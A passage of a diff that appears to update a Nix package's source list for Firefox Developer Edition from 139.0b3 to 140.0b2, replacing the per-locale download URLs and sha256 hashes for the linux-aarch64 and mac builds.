+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ne-NP/firefox-140.0b2.tar.xz";
       locale = "ne-NP";
       arch = "linux-aarch64";
-      sha256 = "e148000a58bd8b834985ad9dee1eb6724ed2550fc70279ab915c06fea148afe1";
+      sha256 = "864e1ede94813108b75fbd870884f93f77628e6cce0449b76018b9118a2c4b0b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/nl/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/nl/firefox-140.0b2.tar.xz";
       locale = "nl";
       arch = "linux-aarch64";
-      sha256 = "b15ebbf39c475a53fc5b01d1c5c6559f74c42e35c1d7b7bbd4cda37366359fee";
+      sha256 = "4bba7f1feaa30adc2bfcc769469eb03361b6193260424d3af0092047c6e777a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/nn-NO/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/nn-NO/firefox-140.0b2.tar.xz";
       locale = "nn-NO";
       arch = "linux-aarch64";
-      sha256 = "90221ff410eca0d1aed97186e45106b7ab826029965e2b4fb54d93c74f743ee0";
+      sha256 = "968d80dbeb5418f968d584ce0c51bfd322b1189c2122a1205f64c0ade22b66f9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/oc/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/oc/firefox-140.0b2.tar.xz";
       locale = "oc";
       arch = "linux-aarch64";
-      sha256 = "7cbad01d0adb697bcae6c072bb69cb151e83920f39b67df2a340f7c1dc4faaf2";
+      sha256 = "66f45ad09dd4a90a3b0c6d66a73b8833a1f1f62f58719a98905ae57c60805b9c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/pa-IN/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/pa-IN/firefox-140.0b2.tar.xz";
       locale = "pa-IN";
       arch = "linux-aarch64";
-      sha256 = "1601a8192da0564af21b4cb7e63d87b6015d5533c08e96187a0d895e32bb03fd";
+      sha256 = "05f4b146691ca748e27b524c7e1889bee07290d417b8bab59c0582d48019f61e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/pl/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/pl/firefox-140.0b2.tar.xz";
       locale = "pl";
       arch = "linux-aarch64";
-      sha256 = "f62fa06e9e651e7db14cfdbd0af5acac3d6f282a2842e41bed7b6ea323342ff7";
+      sha256 = "da9d5833e75feba4034b9b708ff0d17dd93364f0d2f0b5bcb2fcfa5b70717fba";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/pt-BR/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/pt-BR/firefox-140.0b2.tar.xz";
       locale = "pt-BR";
       arch = "linux-aarch64";
-      sha256 = "493c505bc795451989d58049e0a16397eb32c6d26f3ff5c285b845b35cf63a53";
+      sha256 = "680f083f8dcae74b053214b8a20ff2e253829b3b811212356847f99a108438d1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/pt-PT/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/pt-PT/firefox-140.0b2.tar.xz";
       locale = "pt-PT";
       arch = "linux-aarch64";
-      sha256 = "ce1caab07d4ca3f93e5be33580e09c1109f3a19176144d7cfa06e97ab04fe7fd";
+      sha256 = "0a5eb3f4a0c9f0c47fd157a26bc8ea6b70007f912f5e50d38d6ea1487c23f7c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/rm/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/rm/firefox-140.0b2.tar.xz";
       locale = "rm";
       arch = "linux-aarch64";
-      sha256 = "d580649d6aa0f7fc519dbbc7c72943b36a437806020f6a56fb7659befb9dea7a";
+      sha256 = "33f73c88fd97ac68c415c9bb55db59c68cc7f482d381ca1a96b235ba2854b9d3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/ro/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ro/firefox-140.0b2.tar.xz";
       locale = "ro";
       arch = "linux-aarch64";
-      sha256 = "a78d357d761f72d5795608199701c429f2016ad618e2899c10d13b9f7ee8e3ef";
+      sha256 = "77c641e73af901a2986661790890dbd831e586b579ae398433ce98117e310b8d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/ru/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ru/firefox-140.0b2.tar.xz";
       locale = "ru";
       arch = "linux-aarch64";
-      sha256 = "8892c5688612eda284319c1df7c366d529be0d0c96a55d89958d7185a78ab30e";
+      sha256 = "cc6994ffc7d98817352c390db1d06cd215acb5459121d657862c15a95f27ce4f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/sat/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/sat/firefox-140.0b2.tar.xz";
       locale = "sat";
       arch = "linux-aarch64";
-      sha256 = "c6d9eec9c8ebe83c966c904611d6d865328b5a7f401b42b06d72dae32174fec3";
+      sha256 = "f2ca87b4c371399e211874e60e25abbcc320eae84993c066ae9c491d6eece514";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/sc/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/sc/firefox-140.0b2.tar.xz";
       locale = "sc";
       arch = "linux-aarch64";
-      sha256 = "d504d52b43598ec3fdcf02949868fa65d6e6a72f78f131c53fce804817de4ee2";
+      sha256 = "3703ff4a67d1c503fe90726aa63dfa4cb266350aa4c0b5f29723a57ce677fda1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/sco/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/sco/firefox-140.0b2.tar.xz";
       locale = "sco";
       arch = "linux-aarch64";
-      sha256 = "89962ba5d9de002d3f03b4527eb9ef84235d59c19abb46165dfa9c52a085ad2a";
+      sha256 = "963234677f4cd4c3beb7299541700f865132646b39df9e12e89d0f99d2d9e8df";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/si/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/si/firefox-140.0b2.tar.xz";
       locale = "si";
       arch = "linux-aarch64";
-      sha256 = "247261439dc9594b9ad95fa066431ce1629537b8cfc01df7716c491044a7c72a";
+      sha256 = "3632f156201c1c86b9497e09b45707f3126cb02b0cd93a936f9fbcea47af57e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/sk/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/sk/firefox-140.0b2.tar.xz";
       locale = "sk";
       arch = "linux-aarch64";
-      sha256 = "29cb232a5339abc4890b306a12b0f55cd2700cfe2521fa745491903ee87a26ad";
+      sha256 = "e5b6158136204fc90b960d1650e5c7f0f8b74ecaa46529f3f48c9a9bf7a9cbe6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/skr/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/skr/firefox-140.0b2.tar.xz";
       locale = "skr";
       arch = "linux-aarch64";
-      sha256 = "f606442e9a6f87616a77d2fd392412a8dd61e596ddc8c067e38846331cbfca0f";
+      sha256 = "ee71bf891c728250978a0d19290ddad63e893a68362f73e47249c8600e496c58";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/sl/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/sl/firefox-140.0b2.tar.xz";
       locale = "sl";
       arch = "linux-aarch64";
-      sha256 = "43cc2db32879fce3424c1a3ff2f862cca4835b0a4c5df5c3e28def64812ce73c";
+      sha256 = "1b38a650fd3e2c41e4e20e19468483b4001719741bc2de99ab555784baea34f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/son/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/son/firefox-140.0b2.tar.xz";
       locale = "son";
       arch = "linux-aarch64";
-      sha256 = "cfec396b94bcc091927c0884ccddd3969f69acba8c09467609319c54c0bef55e";
+      sha256 = "5b0ee6db02cb38b7f340f074d4e454c29babf2bab55282aa29bc51174cebe9fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/sq/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/sq/firefox-140.0b2.tar.xz";
       locale = "sq";
       arch = "linux-aarch64";
-      sha256 = "ec827f911bb4553cd7caefbdf2aa3aa6b4521059beab32b23e65e80f9858181c";
+      sha256 = "14fcb51691a9a4addb2b4d01c0bfff630359c7e1c94181a1b1f41a0bc64f9a9e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/sr/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/sr/firefox-140.0b2.tar.xz";
       locale = "sr";
       arch = "linux-aarch64";
-      sha256 = "284b34324291ba29a1d1d7b36cff68fff0f00213a7e12fa7f48536fc5a80990a";
+      sha256 = "9297b97dd92c4a9b848a0b59f6490014c323d54c63965512719cb766b5ec98b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/sv-SE/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/sv-SE/firefox-140.0b2.tar.xz";
       locale = "sv-SE";
       arch = "linux-aarch64";
-      sha256 = "07e48d548cfbc4c4ab3fb3b4ec630385a125d3c5cbe30526be95d0476b4d8f87";
+      sha256 = "36c4d22521d6515ef705d59b42cbc86ea385b6713049bac544db89cbe79929f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/szl/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/szl/firefox-140.0b2.tar.xz";
       locale = "szl";
       arch = "linux-aarch64";
-      sha256 = "84cfbf70da99b4f544193d6d167a2280142f8ae37d8de1e9b4093f7ca6671fea";
+      sha256 = "47cef94cb8d05f1e67fa3c805761bc556181769778d86f91014b01e722da0a95";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/ta/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ta/firefox-140.0b2.tar.xz";
       locale = "ta";
       arch = "linux-aarch64";
-      sha256 = "dca3f4fd1b468cae66bdb6ef3817860760a2527b94928359c302e789ca2c04c3";
+      sha256 = "eb1ba963923ff35be8d85e2e432db2eea1815e23245006c153616fa643a923af";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/te/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/te/firefox-140.0b2.tar.xz";
       locale = "te";
       arch = "linux-aarch64";
-      sha256 = "bfa4f775d02a2b2cf0dfcfbf4ed3d2342f7db943256c2e73bddd7f9a8077484c";
+      sha256 = "f20e07229cd5cb062b1ce2c07bce7eace439dee11c1de11b956a2ed3dbbde26b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/tg/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/tg/firefox-140.0b2.tar.xz";
       locale = "tg";
       arch = "linux-aarch64";
-      sha256 = "1515a00b6d53e074bfb60b1bc7e37ac60fd977131a6ac6e772433b1daaaa4efa";
+      sha256 = "b25eac2f5a213045980536b4d5ca04f802f083c0467c56dd02680370ea3c7329";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/th/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/th/firefox-140.0b2.tar.xz";
       locale = "th";
       arch = "linux-aarch64";
-      sha256 = "507d9c041c8874095a52f57e5a46adf8db6d4116d5ccdca0b100d831c41c0422";
+      sha256 = "d2242d267cfa67a147becb147b6ce9540d24049d601a4f00776c0eceac02849b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/tl/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/tl/firefox-140.0b2.tar.xz";
       locale = "tl";
       arch = "linux-aarch64";
-      sha256 = "cba3d10cee0a09ed530f6e8ec71e1da36fc29c972136bcf6beacd7ccf91bd162";
+      sha256 = "74891370d6b308e15b200355152ba34a31a23fcccee53ad2472a4be17a38667f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/tr/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/tr/firefox-140.0b2.tar.xz";
       locale = "tr";
       arch = "linux-aarch64";
-      sha256 = "f5e68e280db29872b7570484dbc841756693b3d00eda2cc0840a77e5600628af";
+      sha256 = "6ffa80dc70a4b37da1a0dd45ee26512b60352f5f0a7d7753ae0f786dc3ecc120";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/trs/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/trs/firefox-140.0b2.tar.xz";
       locale = "trs";
       arch = "linux-aarch64";
-      sha256 = "028e3728920e5978501773da88c2eb1d5d86927d83e5f51e910692fd4482d9f4";
+      sha256 = "c34973c0d13355f79461880372fed959c4a5872a72b22f570c8480cee4e403ed";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/uk/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/uk/firefox-140.0b2.tar.xz";
       locale = "uk";
       arch = "linux-aarch64";
-      sha256 = "9e63e86af01787ceec6b4776b78cd98db74230287f1c065eeda6b5e5f6133b42";
+      sha256 = "f0c0b73f4dddc526b058954b4ad3c6757388646dcad0c1fd694947f7f06bb479";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/ur/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ur/firefox-140.0b2.tar.xz";
       locale = "ur";
       arch = "linux-aarch64";
-      sha256 = "964b123de671b9f763861d626a444c86d48516cdefe9ab71f866dc564428d119";
+      sha256 = "7cfa2930a547d9b0b15e6ebc571ec8447c42b6a845fd228ccc023df7ddbce914";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/uz/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/uz/firefox-140.0b2.tar.xz";
       locale = "uz";
       arch = "linux-aarch64";
-      sha256 = "e603da60f6be77a60584bd361f773a5e12612e8fad84f0aecaf33756fa13d9a5";
+      sha256 = "1d86c24fcac2d62b946d9bc957a9dfeeebc7d519b4662f5a973beb509b946cdf";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/vi/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/vi/firefox-140.0b2.tar.xz";
       locale = "vi";
       arch = "linux-aarch64";
-      sha256 = "c8ce7aa8546ecaa76af778e29de3bfb12490c2e9e4f667888449939ac424f122";
+      sha256 = "126e1f815c3e57cade53f92fdb57f0f2c8f93436523f5947df4e1bc64ad32263";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/xh/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/xh/firefox-140.0b2.tar.xz";
       locale = "xh";
       arch = "linux-aarch64";
-      sha256 = "dc9071c3a8553cee661223eadaccb949944d11f4631cef76775e6b3d93f89eaa";
+      sha256 = "e3cf2284986f716bb80eac9bc258af4ad089fcb9f24e20dedbc718da3324370e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/zh-CN/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/zh-CN/firefox-140.0b2.tar.xz";
       locale = "zh-CN";
       arch = "linux-aarch64";
-      sha256 = "f8561851a5acce3ba9ea763855464592777d2371d1918d70cce0a01d833ee77c";
+      sha256 = "4b4d6d3dbf2fff5efea5c659d5d95c45b55fbc68d0767f7cbd8c052bfdcc5a0b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/linux-aarch64/zh-TW/firefox-139.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/zh-TW/firefox-140.0b2.tar.xz";
       locale = "zh-TW";
       arch = "linux-aarch64";
-      sha256 = "180c46473119cdbe027f13a26a53234e63e1f2dfd291925b0af2edf68ff05650";
+      sha256 = "7725257c301afb843517120dbd5f28d2af0e394aa838d56e208680e8a51183ca";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/ach/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ach/Firefox%20140.0b2.dmg";
       locale = "ach";
       arch = "mac";
-      sha256 = "e0a518e46e2f11edca8e5e0ac47449947c3c2777505ef4da832cadcadd093a23";
+      sha256 = "4ed0131e4684690e82a3365020d901921255096dcf3a9d59c9ea6845dad75373";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/af/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/af/Firefox%20140.0b2.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "680fd32905798aed50dd4a0bb0bb88817581ac246bf12ad7db49c90809619424";
+      sha256 = "b880748c005d6036dd89d9d303976393f3d9ac2a91c185c641ccd647ed056ab8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/an/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/an/Firefox%20140.0b2.dmg";
       locale = "an";
       arch = "mac";
-      sha256 = "bff5ee309b3f73e65b5de3f40f1a7025a4137e806399c703d20c492ca925585c";
+      sha256 = "6b35af1d4cf4965bae7bfa7ed4df969a81f24b490033c59a9e41eea21fc3e730";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/ar/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ar/Firefox%20140.0b2.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "71f47f400126a2729f37bf8947c8577cb012a787b9c37f8dda516f4e765e5b2f";
+      sha256 = "866cfb8c17c8e2382c6ea691187507db00157aaaaf53448d49b95407e18e5c85";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/ast/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ast/Firefox%20140.0b2.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "a614feb3d06e2cf3430bcfc3daa02d53bbff1dca8a5433d43745efa03f0c7e73";
+      sha256 = "7f6aa9adad62d9991e693775e91ed6826594405f17cdebccb99cb8dcc39bf095";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/az/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/az/Firefox%20140.0b2.dmg";
       locale = "az";
       arch = "mac";
-      sha256 = "07482d9ffdbc3629e9c7c4fe419cbe2824b947cf93b4cc7fa371bf9c1083198a";
+      sha256 = "6fe3f217f783eb93cd8d84b903a9453893b9f1de3f48f68e5484b351b93ef711";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/be/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/be/Firefox%20140.0b2.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "6163ec17db5b8bbe2e897ee3820334928f18fae85055262561cedf1a1ee8918d";
+      sha256 = "aae7e9683edee898fd2c665eb1e11572ac4ba61a4960daaa09c19675fa1a19c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/bg/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/bg/Firefox%20140.0b2.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "575f9b58298f0981566ba826294f80edc45dfd9de69d79e6c82d28d0c884c58c";
+      sha256 = "45cdf56dd70258d1c20ed870adfe2772b7a1b30cf834409edf397d0dca6f395f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/bn/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/bn/Firefox%20140.0b2.dmg";
       locale = "bn";
       arch = "mac";
-      sha256 = "076b89297184b520cce7ffc362b7bca90c4ebade5d64dccf0f7315bd2584f678";
+      sha256 = "51e9862caf96e94224efee1300fd54eefdafb03cae20d15b40b02bc9d44ed731";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/br/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/br/Firefox%20140.0b2.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "1a29076fab57e50c45cd6fcc8f25cbfbd9d6a962705b88a607935c6184ebe2df";
+      sha256 = "be935dc3369b54d1cdb61ce4662b45839d4bd97ab7e2e66edf2693c9b6716b56";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/bs/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/bs/Firefox%20140.0b2.dmg";
       locale = "bs";
       arch = "mac";
-      sha256 = "267526f268fc1deec51cfd16fce9c24fbf7fa9789e1d3d82c42df7bef754787e";
+      sha256 = "2cbe8ca8c678cb81385e657660bd92346dafbebf58b6c73d1f6f77e48f52aa6a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/ca-valencia/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ca-valencia/Firefox%20140.0b2.dmg";
       locale = "ca-valencia";
       arch = "mac";
-      sha256 = "713b6a6a73f06e3a6f09bf1ec06fd9914bf0672b5569b51d4a8fce689fa02c67";
+      sha256 = "3a2312c808f9342b7fac383b075ca13b272861f79f49015fb51ae4d9a01c92f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/ca/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ca/Firefox%20140.0b2.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "1537068f9e353f37f69d39acb852fd25bfee7c9bc6f83af2b2dab2da21737ca9";
+      sha256 = "367bfe9dc9f53f783eb59a2e345a3cf8e65dc4b15f535d8f25be9f2c0ab3ca68";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/cak/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/cak/Firefox%20140.0b2.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "726df556a936dbfd4cf756c7736abbe406c7c774986a745eba460a82f79a2f50";
+      sha256 = "055b667349f3962d352bc29a69e2ce67ff19893d2520e1c70043bbb1248d8c53";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/cs/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/cs/Firefox%20140.0b2.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "ef6701cb85dbc9af3f2e0013c2813e4cc140307b2c7ddf77ed18307b2a3583a9";
+      sha256 = "c424df549e13c0a6041b212d9e7e49d09bedd634ad0a35daf5ff8b7f08b705fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/cy/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/cy/Firefox%20140.0b2.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "911406e16a06a37be909b298d84fbca827b74a771e13ad7d1921f62c11e8b9dd";
+      sha256 = "4cb05bb577e421bc3004831bf878267edb6f6c98b5d776522acd57600b7813ba";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/da/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/da/Firefox%20140.0b2.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "4080196890c2a15ef88a55a97e5f4ddbe03cfafb80f536894b3a9c25fb0ee8b1";
+      sha256 = "793fa4ff34f9f04d83a6f316b8cfa0099f2228648d6fd8e2f066ed381affe5aa";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/de/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/de/Firefox%20140.0b2.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "40eae4dc5ab677b214dc13afd066444b892bd444f6ab09922a73ceb9ea00d4b3";
+      sha256 = "9284ff990ecbc6260d82aed6e0ffb3608348c5c084c0ca50d59cd75c84e5f4da";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/dsb/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/dsb/Firefox%20140.0b2.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "3ee17df8b247301f376652f938f24464d0809b7fb6b402b9f5083ce2cee9bf34";
+      sha256 = "e433105013e8b543ad239f0ca7a0007e40541056c8a3bd57adc6136b0fe1d117";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/el/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/el/Firefox%20140.0b2.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "11fafe77ea6929eff1dcc1da0df306c0f8520d7f522c316518889ef6b4bdd273";
+      sha256 = "b9b8a5f25aebdc89e672793436e3d1f1c35aa6af0ef13f080c89ec23d66ccdd2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/en-CA/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/en-CA/Firefox%20140.0b2.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "a15fcbf8b20e47ec62f8a0421d21f67ae091a3fb29aced137a52ba05247762d6";
+      sha256 = "3f6db147fc75e6d2c3efe2dee4e889ead1b3d46909bfa555da8012d48fc7f418";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/en-GB/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/en-GB/Firefox%20140.0b2.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "cdf313854d38f48bc31f30fa4e546d2ea8867f49872b7398005b574d26362548";
+      sha256 = "8328b5267b092e75a646da81563461b6d660cfd1000a2da26ca404acb516badf";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/en-US/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/en-US/Firefox%20140.0b2.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "bb516b07c4519ae946b79a6fc34e911221e5d83851aab2bafdff87c3e5b74b3c";
+      sha256 = "880d44a98e9232eabf61ed9949047c235d4fc68145a97cf3f3569c8557ac848b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/eo/Firefox%20139.0b3.dmg";
